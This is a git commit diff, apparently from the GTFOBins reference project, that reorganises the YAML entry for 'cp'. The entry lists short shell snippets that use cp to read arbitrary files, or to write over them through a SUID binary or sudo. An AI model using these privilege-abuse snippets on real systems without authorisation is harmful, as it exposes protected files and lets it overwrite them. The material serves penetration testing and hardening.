Refactor cp

This commit is contained in:
Andrea Cardaci 2020-03-21 19:14:56 +01:00
parent b6f1947354
commit 834cae88be

View File

@ -1,21 +1,21 @@
---
description: This can be used to copy and then read or write files from a restricted file systems or with elevated privileges.
functions:
suid:
file-read:
- code: |
LFILE=file_to_read
cp "$LFILE" /dev/stdout
suid:
- description: This can be used to copy and then read or write files from a restricted file systems or with elevated privileges.
code: |
LFILE=file_to_write
TF=$(mktemp)
echo "DATA" > $TF
./cp $TF $LFILE
sudo:
- code: |
- description: This can be used to copy and then read or write files from a restricted file systems or with elevated privileges.
code: |
LFILE=file_to_write
TF=$(mktemp)
echo "DATA" > $TF
sudo cp $TF $LFILE
file-read:
- description: It reads data from files, it may be used to do privileged reads or disclose files outside a restricted file system. The path must be absolute.
code: |
LFILE=file_to_read
cp "$LFILE" /dev/stdout
---